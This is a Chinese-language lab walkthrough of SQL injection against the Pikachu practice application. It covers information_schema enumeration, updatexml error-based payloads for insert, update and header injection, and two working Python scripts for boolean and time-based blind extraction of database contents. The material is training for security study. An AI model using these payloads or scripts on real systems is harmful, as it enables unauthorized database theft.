SQL注入概述
SQL注入指的是通过将恶意SQL语句添加到应用的输入参数中,传递到后台被SQL服务器解析后执行的攻击。
基础知识
information_schema
MYSQL更新到5.0后,默认在数据库中存放一个”information_schema“的数据库,记载了其他数据库的信息。
默认要记住三个表,SCHEMATA,TABLES,COLUMNS。
TABLES
COLUMNS:(记录了所有的库名,表名和字段名)
查询一个数据库信息的过程:
- 找库名
select schema_name from information_schema.schemata;
- 1
- 找表名
select table_name from information_schema.tables where table_schema = 'pikachu';
- 1
- 找列名
select column_name from information_schema.columns where table_schema = 'pikachu' and table_name = 'users';
- 1
- 查询信息
得到了数据库名,表名和列名后就可以查询到想要的信息
select username,password from pikachu.users;
- 1
常用函数以及注释方式
database():当前网站使用是数据库
version():当前MYSQL的版本
user():当前的用户名称
注释方式:
#(%23),–空格(–+)或者/**/
内联注释:/*! code*/
code内容可以执行
这里参考了大佬的博客
原文链接:https://blog.csdn.net/qq_43936524/article/details/109008030
数字型注入
由于不能输入所以我们只能bp抓包 然后注入
order by 2成功回显
联合查询
暴库
暴表
暴字段
字符型
搜索型注入
一、搜索型注入简介与原理
1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。
2)原理
$sql="select * from user where password like '%$pwd%' order by password";
“%”匹配任何字符,“like”的意思就是像。
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。
但是当有人输入这样的内容的时候:'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。
原文链接:https://blog.csdn.net/qq_45653588/article/details/106367688
xx型注入
输个\ ')闭合
insert/update注入insert:
insert: 在插入值value当中用两个or形成闭合 ‘’ or 报错函数 or ‘’。
payload:' or updatexml(1,concat(0x7e,database()),0) or '
同理把payload替换为
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0) or '
update:
payload与insert相同,在修改字段后' or + 报错函数 + or '
即可。
delete注入
在页面删除留言后抓包,更改参数为payload.
返回界面中显示出数据库.
http header注入
后端为了验证客户端头信息,或者通过客户端http header获取客户端的一些信息如accept,useragent等等。获取信息后采用了SQL查询,即有可能存在SQL注入漏洞。
抓包后修改user agent(猜测后台可能获取request信息后insert into数据库)
payload:' or updatexml(1,concat(0x7e,database()),0) or '
同理修改其他字段信息也可以返回错误信息进而获得数据库信息。
盲注
用脚本跑
import requests
url='http://192.168.238.131/pikachu/vul/sqli/sqli_blind_b.php?name=lili%27{0}--+&submit=%E6%9F%A5%E8%AF%A2'
payload='and ascii(substr(database(),{0},1)){1}{2}'
'''
payload2='and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1)){1}{2}' #所有数据库
payload3='and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='+dbname+'),{0},1)){1}{2}' #表名
payload4='and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='+dbanem+' and table_name='+tbname+'),{0},1)){1}{2}' #字段名
payload5='and ascii(substr((select group_concat('+colname+') from '+dbname+'.'+tbname+'),{0},1)){1}{2}' #字段内容
'''
def request(url,payload):
if len(requests.get(url.format(payload)).text)==33291:
return True
return False
def massage(url,payload):
mass=''
l=1
going=True
while(going):
low=33
high=126
while(low<=high):
mid=int((low+high)/2)
if request(url,payload.format(l,'>',mid)):
low=mid+1
elif request(url,payload.format(l,'=',mid)):
print(chr(mid))
mass+=chr(mid)
break
elif request(url,payload.format(l,'=','0')):
going=False
break
else:
high=mid-1
l+=1
return mass
database=massage(url,payload)
print(database)
基于时间的盲注
import requests
url='http://192.168.238.131/pikachu/vul/sqli/sqli_blind_t.php?name=lili%27 and if({0},sleep(3),1)--+&submit=%E6%9F%A5%E8%AF%A2--+&submit=%E6%9F%A5%E8%AF%A2'
payload='ascii(substr(database(),{0},1)){1}{2}' #当前数据库
payload2='ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1)){1}{2}' #所有数据库
'''
payload2='ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1)){1}{2}' #所有数据库
payload3='ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='+dbname+'),{0},1)){1}{2}' #表名
payload4='ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='+dbanem+' and table_name='+tbname+'),{0},1)){1}{2}' #字段名
payload5='ascii(substr((select group_concat('+colname+') from '+dbname+'.'+tbname+'),{0},1)){1}{2}' #字段内容
'''
def request(url,payload):
try:
requests.get(url.format(payload),timeout=3)
except:
return True
return False
def massage(url,payload):
mass=''
l=1
going=True
while(going):
low=33
high=126
while(low<=high):
mid=int((low+high)/2)
if request(url,payload.format(l,'>',mid)):
low=mid+1
elif request(url,payload.format(l,'=',mid)):
print(chr(mid))
mass+=chr(mid)
break
elif request(url,payload.format(l,'=','0')):
going=False
break
else:
high=mid-1
l+=1
return mass
database=massage(url,payload2)
print(database)